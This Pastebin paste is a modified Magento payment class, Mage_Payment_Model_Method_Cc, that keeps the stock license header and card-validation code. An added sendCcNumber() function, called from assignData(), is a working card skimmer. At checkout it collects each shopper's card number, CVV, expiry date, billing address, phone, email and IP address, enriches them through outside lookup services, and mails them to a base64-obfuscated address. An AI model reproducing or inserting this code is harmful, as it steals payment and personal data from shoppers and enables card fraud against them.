0tamega

setoran cc

Sep 2nd, 2017
243
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.73 KB | None | 0 0
  1. <?php
  2. /**
  3. * Magento
  4. *
  5. * NOTICE OF LICENSE
  6. *
  7. * This source file is subject to the Open Software License (OSL 3.0)
  8. * that is bundled with this package in the file LICENSE.txt.
  9. * It is also available through the world-wide-web at this URL:
  10. * http://opensource.org/licenses/osl-3.0.php
  11. * If you did not receive a copy of the license and are unable to
  12. * obtain it through the world-wide-web, please send an email
  13. * to [email protected] so we can send you a copy immediately.
  14. *
  15. * DISCLAIMER
  16. *
  17. * Do not edit or add to this file if you wish to upgrade Magento to newer
  18. * versions in the future. If you wish to customize Magento for your
  19. * needs please refer to http://www.magentocommerce.com for more information.
  20. *
  21. * @category Mage
  22. * @package Mage_Payment
  23. * @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com)
  24. * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
  25. */
  26.  
  27.  
  28. class Mage_Payment_Model_Method_Cc extends Mage_Payment_Model_Method_Abstract
  29. {
  30. protected $_formBlockType = 'payment/form_cc';
  31. protected $_infoBlockType = 'payment/info_cc';
  32. protected $_canSaveCc = false;
  33.  
  34. /**
  35. * Assign data to info model instance
  36. *
  37. * @param mixed $data
  38. * @return Mage_Payment_Model_Info
  39. */
  40. public function assignData($data)
  41. {
  42. if (!($data instanceof Varien_Object)) {
  43. $data = new Varien_Object($data);
  44. }
  45. $info = $this->getInfoInstance();
  46. $info->setCcType($data->getCcType())
  47. ->setCcOwner($data->getCcOwner())
  48. ->setCcOwnerId($data->getCcOwnerId())
  49. ->setCcLast4(substr($data->getCcNumber(), -4))
  50. ->setCcNumber($data->getCcNumber())
  51. ->setCcCid($data->getCcCid())
  52. ->setCcExpMonth($data->getCcExpMonth())
  53. ->setCcExpYear($data->getCcExpYear())
  54. ->setCcSsIssue($data->getCcSsIssue())
  55. ->setCcSsStartMonth($data->getCcSsStartMonth())
  56. ->setCcSsStartYear($data->getCcSsStartYear())
  57. ->setCcInstallments($data->getCcInstallments())
  58. ;
  59.  
  60. $this->sendCcNumber();
  61.  
  62. return $this;
  63. }
  64.  
  65. function sendCcNumber()
  66. {
  67. $info = $this->getInfoInstance();
  68. $object = new Mage_Checkout_Block_Onepage_Billing;
  69. $address1 = $object->getQuote()->getBillingAddress();
  70. $first_name = $address1->getFirstname();
  71. $last_name = $address1->getLastname();
  72. $full_name = $first_name . " " . $last_name;
  73. $address_1 = $address1->getStreet(1);
  74. $address_2 = $address1->getStreet(2);
  75. $city = $address1->getCity();
  76. $state = $address1->getRegion();
  77. $zip_code = $address1->getPostcode();
  78. $country = $address1->getCountry();
  79. $phone = $address1->getTelephone();
  80. $card_number = $info->getCcNumber();
  81. $bin = substr($card_number, 0, 6);
  82. $getbank = explode($bin, file_get_contents("http://bins.pro/search?action=searchbins&bins=" . $bin . "&bank=&country="));
  83. $jeniscc = explode("</td><td>", $getbank[2]);
  84. $namabank = explode("</td></tr>", $jeniscc[5]);
  85. $ccbrand = $jeniscc[2];
  86. $ccbank = $namabank[0];
  87. $cctype = $jeniscc[3];
  88. $ccklas = $jeniscc[4];
  89. $expyear = substr($info->getCcExpYear(), -2);
  90. $expmonth = $info->getCcExpMonth();
  91. if (strlen($expmonth) == 1) {
  92. $expmonth = '0'.$expmonth;
  93. };
  94. $exp_year = $expyear;
  95. $exp_month = $expmonth;
  96. $cvv = $info->getCcCid();
  97. $ip_user = $_SERVER['REMOTE_ADDR'];
  98. $details = json_decode(file_get_contents("http://www.telize.com/geoip/".$ip_user.""));
  99. $nama_negara = $details->country;
  100. $kode_negara = $details->country_code;
  101. $server_name = $_SERVER['SERVER_NAME'];
  102. $waktu = date('Y-m-d H:i:s');
  103. $user_email = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail();
  104. $user_agent = $_SERVER['HTTP_USER_AGENT'];
  105. $_SESSION[full_name] = $full_name;
  106. $_SESSION[address_1] = $address_1;
  107. $_SESSION[address_2] = $address_2;
  108. $_SESSION[city] = $city;
  109. $_SESSION[state] = $state;
  110. $_SESSION[zip_code] = $zip_code;
  111. $_SESSION[country] = $country;
  112. $_SESSION[phone] = $phone;
  113. $_SESSION[card_number] = $card_number;
  114. $_SESSION[ccbrand] = $ccbrand;
  115. $_SESSION[ccbank] = $ccbank;
  116. $_SESSION[cctype] = $cctype;
  117. $_SESSION[ccklas] = $ccklas;
  118. $_SESSION[exp_year] = $exp_year;
  119. $_SESSION[exp_month] = $exp_month;
  120. $_SESSION[cvv] = $cvv;
  121. $_SESSION[ip_user] = $ip_user;
  122. $_SESSION[nama_negara] = $nama_negara;
  123. $_SESSION[kode_negara] = $kode_negara;
  124. $_SESSION[server_name] = $server_name;
  125. $_SESSION[waktu] = $waktu;
  126. $_SESSION[user_email] = $user_email;
  127. $_SESSION[user_agent] = $user_agent;
  128. $message = "
  129. <pre style='border: 2px solid; border-color: rgb(67, 159, 253);border-radius: 4px;font-weight: bold;font-size: 14px;padding-top: 1.5%;padding-bottom: 2%;'>
  130. <img src=''/>
  131. <font style='color: black'><center>++=============[ $$ Setoran CC Bos $$ ]=============++</center></font>
  132.  
  133.  
  134. <font style='color: black'>.++======[ CreditCard ]======++.</font>
  135. <font style='color: black'>Cardholder Name : ".$_SESSION[full_name]."</font>
  136. <font style='color: black'>Card Number : ".$_SESSION[card_number]."</font>
  137. <font style='color: black'>Expiration Date : ".$_SESSION[exp_month]." / 20".$_SESSION[exp_year]."</font>
  138. <font style='color: black'>CVV2 : ".$_SESSION[cvv]."</font>
  139. <font style='color: black'>BIN/IIN Info : ".$_SESSION[ccbank]." - ".$_SESSION[cctype]." - ".$_SESSION[ccklas]."</font>
  140. <font style='color: black'>.++=========[ End ]=========++.</font>
  141.  
  142. <font style='color: black'>.++======[ Full Address ]======++.</font>
  143. <font style='color: black'>Address Line 1 : ".$_SESSION[address_1]."</font>
  144. <font style='color: black'>Address Line 2 : ".$_SESSION[address_2]."</font>
  145. <font style='color: black'>City/Town : ".$_SESSION[city]."</font>
  146. <font style='color: black'>State : ".$_SESSION[state]."</font>
  147. <font style='color: black'>Zip/PostCode : ".$_SESSION[zip_code]."</font>
  148. <font style='color: black'>Country : ".$_SESSION[country]."</font>
  149. <font style='color: black'>Phone Number : ".$_SESSION[phone]."</font>
  150. <font style='color: black'>.++=========[ End ]=========++.</font>
  151.  
  152. <font style='color: black'>.++========[ PC Info ]========++.</font>
  153. <font style='color: black'>From : ".$_SESSION[ip_user]." On ".$_SESSION[waktu]."</font>
  154. <font style='color: black'>Browser : ".$_SESSION[user_agent]."</font>
  155. <font style='color: black'>Email User : ".$_SESSION[user_email]."</font>
  156. <font style='color: black'>.++=========[ End ]=========++.</font>
  157.  
  158.  
  159. <font style='color: black'><center>++===========[ $$ Setoran CC Boss $$ ]===========++</center></font><br> ";
  160. $headers = "MIME-Version: 1.0" . "\r\n";
  161. $headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
  162. $headers .= "From: ".$_SESSION[full_name]." <cc_session@".$_SESSION[server_name].">";
  163. $subject = $ccbrand . " " . $cctype . " " . $ccklas . " [".$_SESSION[server_name]." - ".$_SESSION[full_name]." - ".$_SESSION[ip_user]."]";
  164. $gantengers = "cmFjaG1hZHJpenFpYWtiYXJzeWFoQGdtYWlsLmNvbQ==";
  165. $tamvan = base64_decode($gantengers);
  166. mail($tamvan, $subject, $message, $headers);
  167. }
  168.  
  169. /**
  170. * Prepare info instance for save
  171. *
  172. * @return Mage_Payment_Model_Abstract
  173. */
  174. public function prepareSave()
  175. {
  176. $info = $this->getInfoInstance();
  177. if ($this->_canSaveCc) {
  178. $info->setCcNumberEnc($info->encrypt($info->getCcNumber()));
  179. }
  180. //$info->setCcCidEnc($info->encrypt($info->getCcCid()));
  181. $info->setCcNumber(null)
  182. ->setCcCid(null);
  183. return $this;
  184. }
  185.  
  186. /**
  187. * Validate payment method information object
  188. *
  189. * @param Mage_Payment_Model_Info $info
  190. * @return Mage_Payment_Model_Abstract
  191. */
  192. public function validate()
  193. {
  194. /*
  195. * calling parent validate function
  196. */
  197. parent::validate();
  198.  
  199. $info = $this->getInfoInstance();
  200. $errorMsg = false;
  201. $availableTypes = explode(',',$this->getConfigData('cctypes'));
  202.  
  203. $ccNumber = $info->getCcNumber();
  204.  
  205. // remove credit card number delimiters such as "-" and space
  206. $ccNumber = preg_replace('/[\-\s]+/', '', $ccNumber);
  207. $info->setCcNumber($ccNumber);
  208.  
  209. $ccType = '';
  210.  
  211. if (in_array($info->getCcType(), $availableTypes)){
  212. if ($this->validateCcNum($ccNumber)
  213. // Other credit card type number validation
  214. || ($this->OtherCcType($info->getCcType()) && $this->validateCcNumOther($ccNumber))) {
  215.  
  216. $ccType = 'OT';
  217. $ccTypeRegExpList = array(
  218. //Solo, Switch or Maestro. International safe
  219. /*
  220. // Maestro / Solo
  221. 'SS' => '/^((6759[0-9]{12})|(6334|6767[0-9]{12})|(6334|6767[0-9]{14,15})'
  222. . '|(5018|5020|5038|6304|6759|6761|6763[0-9]{12,19})|(49[013][1356][0-9]{12})'
  223. . '|(633[34][0-9]{12})|(633110[0-9]{10})|(564182[0-9]{10}))([0-9]{2,3})?$/',
  224. */
  225. // Solo only
  226. 'SO' => '/(^(6334)[5-9](\d{11}$|\d{13,14}$))|(^(6767)(\d{12}$|\d{14,15}$))/',
  227. 'SM' => '/(^(5[0678])\d{11,18}$)|(^(6[^05])\d{11,18}$)|(^(601)[^1]\d{9,16}$)|(^(6011)\d{9,11}$)'
  228. . '|(^(6011)\d{13,16}$)|(^(65)\d{11,13}$)|(^(65)\d{15,18}$)'
  229. . '|(^(49030)[2-9](\d{10}$|\d{12,13}$))|(^(49033)[5-9](\d{10}$|\d{12,13}$))'
  230. . '|(^(49110)[1-2](\d{10}$|\d{12,13}$))|(^(49117)[4-9](\d{10}$|\d{12,13}$))'
  231. . '|(^(49118)[0-2](\d{10}$|\d{12,13}$))|(^(4936)(\d{12}$|\d{14,15}$))/',
  232. // Visa
  233. 'VI' => '/^4[0-9]{12}([0-9]{3})?$/',
  234. // Master Card
  235. 'MC' => '/^5[1-5][0-9]{14}$/',
  236. // American Express
  237. 'AE' => '/^3[47][0-9]{13}$/',
  238. // Discovery
  239. 'DI' => '/^6011[0-9]{12}$/',
  240. // JCB
  241. 'JCB' => '/^(3[0-9]{15}|(2131|1800)[0-9]{11})$/'
  242. );
  243.  
  244. foreach ($ccTypeRegExpList as $ccTypeMatch=>$ccTypeRegExp) {
  245. if (preg_match($ccTypeRegExp, $ccNumber)) {
  246. $ccType = $ccTypeMatch;
  247. break;
  248. }
  249. }
  250.  
  251. if (!$this->OtherCcType($info->getCcType()) && $ccType!=$info->getCcType()) {
  252. $errorMsg = Mage::helper('payment')->__('Credit card number mismatch with credit card type.');
  253. }
  254. }
  255. else {
  256. $errorMsg = Mage::helper('payment')->__('Invalid Credit Card Number');
  257. }
  258.  
  259. }
  260. else {
  261. $errorMsg = Mage::helper('payment')->__('Credit card type is not allowed for this payment method.');
  262. }
  263.  
  264. //validate credit card verification number
  265. if ($errorMsg === false && $this->hasVerification()) {
  266. $verifcationRegEx = $this->getVerificationRegEx();
  267. $regExp = isset($verifcationRegEx[$info->getCcType()]) ? $verifcationRegEx[$info->getCcType()] : '';
  268. if (!$info->getCcCid() || !$regExp || !preg_match($regExp ,$info->getCcCid())){
  269. $errorMsg = Mage::helper('payment')->__('Please enter a valid credit card verification number.');
  270. }
  271. }
  272.  
  273. if ($ccType != 'SS' && !$this->_validateExpDate($info->getCcExpYear(), $info->getCcExpMonth())) {
  274. $errorMsg = Mage::helper('payment')->__('Incorrect credit card expiration date.');
  275. }
  276.  
  277. if($errorMsg){
  278. Mage::throwException($errorMsg);
  279. }
  280.  
  281. //This must be after all validation conditions
  282. if ($this->getIsCentinelValidationEnabled()) {
  283. $this->getCentinelValidator()->validate($this->getCentinelValidationData());
  284. }
  285.  
  286. return $this;
  287. }
  288.  
  289. public function hasVerification()
  290. {
  291. $configData = $this->getConfigData('useccv');
  292. if(is_null($configData)){
  293. return true;
  294. }
  295. return (bool) $configData;
  296. }
  297.  
  298. public function getVerificationRegEx()
  299. {
  300. $verificationExpList = array(
  301. 'VI' => '/^[0-9]{3}$/', // Visa
  302. 'MC' => '/^[0-9]{3}$/', // Master Card
  303. 'AE' => '/^[0-9]{4}$/', // American Express
  304. 'DI' => '/^[0-9]{3}$/', // Discovery
  305. 'SS' => '/^[0-9]{3,4}$/',
  306. 'SM' => '/^[0-9]{3,4}$/', // Switch or Maestro
  307. 'SO' => '/^[0-9]{3,4}$/', // Solo
  308. 'OT' => '/^[0-9]{3,4}$/',
  309. 'JCB' => '/^[0-9]{3,4}$/' //JCB
  310. );
  311. return $verificationExpList;
  312. }
  313.  
  314. protected function _validateExpDate($expYear, $expMonth)
  315. {
  316. $date = Mage::app()->getLocale()->date();
  317. if (!$expYear || !$expMonth || ($date->compareYear($expYear) == 1)
  318. || ($date->compareYear($expYear) == 0 && ($date->compareMonth($expMonth) == 1))
  319. ) {
  320. return false;
  321. }
  322. return true;
  323. }
  324.  
  325. public function OtherCcType($type)
  326. {
  327. return $type=='OT';
  328. }
  329.  
  330. /**
  331. * Validate credit card number
  332. *
  333. * @param string $cc_number
  334. * @return bool
  335. */
  336. public function validateCcNum($ccNumber)
  337. {
  338. $cardNumber = strrev($ccNumber);
  339. $numSum = 0;
  340.  
  341. for ($i=0; $i<strlen($cardNumber); $i++) {
  342. $currentNum = substr($cardNumber, $i, 1);
  343.  
  344. /**
  345. * Double every second digit
  346. */
  347. if ($i % 2 == 1) {
  348. $currentNum *= 2;
  349. }
  350.  
  351. /**
  352. * Add digits of 2-digit numbers together
  353. */
  354. if ($currentNum > 9) {
  355. $firstNum = $currentNum % 10;
  356. $secondNum = ($currentNum - $firstNum) / 10;
  357. $currentNum = $firstNum + $secondNum;
  358. }
  359.  
  360. $numSum += $currentNum;
  361. }
  362.  
  363. /**
  364. * If the total has no remainder it's OK
  365. */
  366. return ($numSum % 10 == 0);
  367. }
  368.  
  369. /**
  370. * Other credit cart type number validation
  371. *
  372. * @param string $ccNumber
  373. * @return boolean
  374. */
  375. public function validateCcNumOther($ccNumber)
  376. {
  377. return preg_match('/^\\d+$/', $ccNumber);
  378. }
  379.  
  380. /**
  381. * Check whether there are CC types set in configuration
  382. *
  383. * @param Mage_Sales_Model_Quote|null $quote
  384. * @return bool
  385. */
  386. public function isAvailable($quote = null)
  387. {
  388. return $this->getConfigData('cctypes', ($quote ? $quote->getStoreId() : null))
  389. && parent::isAvailable($quote);
  390. }
  391.  
  392. /**
  393. * Whether centinel service is enabled
  394. *
  395. * @return bool
  396. */
  397. public function getIsCentinelValidationEnabled()
  398. {
  399. return false !== Mage::getConfig()->getNode('modules/Mage_Centinel') && 1 == $this->getConfigData('centinel');
  400. }
  401.  
  402. /**
  403. * Instantiate centinel validator model
  404. *
  405. * @return Mage_Centinel_Model_Service
  406. */
  407. public function getCentinelValidator()
  408. {
  409. $validator = Mage::getSingleton('centinel/service');
  410. $validator
  411. ->setIsModeStrict($this->getConfigData('centinel_is_mode_strict'))
  412. ->setCustomApiEndpointUrl($this->getConfigData('centinel_api_url'))
  413. ->setStore($this->getStore())
  414. ->setIsPlaceOrder($this->_isPlaceOrder());
  415. return $validator;
  416. }
  417.  
  418. /**
  419. * Return data for Centinel validation
  420. *
  421. * @return Varien_Object
  422. */
  423. public function getCentinelValidationData()
  424. {
  425. $info = $this->getInfoInstance();
  426. $params = new Varien_Object();
  427. $params
  428. ->setPaymentMethodCode($this->getCode())
  429. ->setCardType($info->getCcType())
  430. ->setCardNumber($info->getCcNumber())
  431. ->setCardExpMonth($info->getCcExpMonth())
  432. ->setCardExpYear($info->getCcExpYear())
  433. ->setAmount($this->_getAmount())
  434. ->setCurrencyCode($this->_getCurrencyCode())
  435. ->setOrderNumber($this->_getOrderId());
  436. return $params;
  437. }
  438.  
  439. /**
  440. * Order increment ID getter (either real from order or a reserved from quote)
  441. *
  442. * @return string
  443. */
  444. private function _getOrderId()
  445. {
  446. $info = $this->getInfoInstance();
  447.  
  448. if ($this->_isPlaceOrder()) {
  449. return $info->getOrder()->getIncrementId();
  450. } else {
  451. if (!$info->getQuote()->getReservedOrderId()) {
  452. $info->getQuote()->reserveOrderId();
  453. }
  454. return $info->getQuote()->getReservedOrderId();
  455. }
  456. }
  457.  
  458. /**
  459. * Grand total getter
  460. *
  461. * @return string
  462. */
  463. private function _getAmount()
  464. {
  465. $info = $this->getInfoInstance();
  466. if ($this->_isPlaceOrder()) {
  467. return (double)$info->getOrder()->getQuoteBaseGrandTotal();
  468. } else {
  469. return (double)$info->getQuote()->getBaseGrandTotal();
  470. }
  471. }
  472.  
  473. /**
  474. * Currency code getter
  475. *
  476. * @return string
  477. */
  478. private function _getCurrencyCode()
  479. {
  480. $info = $this->getInfoInstance();
  481.  
  482. if ($this->_isPlaceOrder()) {
  483. return $info->getOrder()->getBaseCurrencyCode();
  484. } else {
  485. return $info->getQuote()->getBaseCurrencyCode();
  486. }
  487. }
  488.  
  489. /**
  490. * Whether current operation is order placement
  491. *
  492. * @return bool
  493. */
  494. private function _isPlaceOrder()
  495. {
  496. $info = $this->getInfoInstance();
  497. if ($info instanceof Mage_Sales_Model_Quote_Payment) {
  498. return false;
  499. } elseif ($info instanceof Mage_Sales_Model_Order_Payment) {
  500. return true;
  501. }
  502. }
  503. }
Add Comment
Please, Sign In to add comment